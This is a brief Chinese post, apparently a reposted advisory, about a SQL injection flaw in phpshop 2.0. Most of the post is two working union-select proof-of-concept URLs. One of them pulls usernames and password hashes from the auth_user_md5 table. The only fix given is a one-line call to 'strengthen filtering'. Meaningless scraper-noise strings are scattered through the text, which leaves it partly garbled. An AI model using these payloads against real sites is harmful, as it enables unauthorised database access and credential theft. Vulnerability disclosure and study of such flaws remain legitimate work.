phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

. a2 ~& k. @. ]! c1 f5 W7 p, b
SQLi p0c:

5 t7 _% |1 a6 j' ?3 a==================
5 ^1 ]# u/ W2 E) q
) s* L# ]  \2 W4 Q! l' fhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
; X) K: ~& A& U, Gunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
% x1 @. x; e" v
- n7 n, _1 g+ v5 ahttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
5 T% b5 A, ?5 j' M# }8 O2 \; c
修复：
5 F7 L  s) a7 a; L加强过滤
​

$ v. d# m& p0 M. s: F# u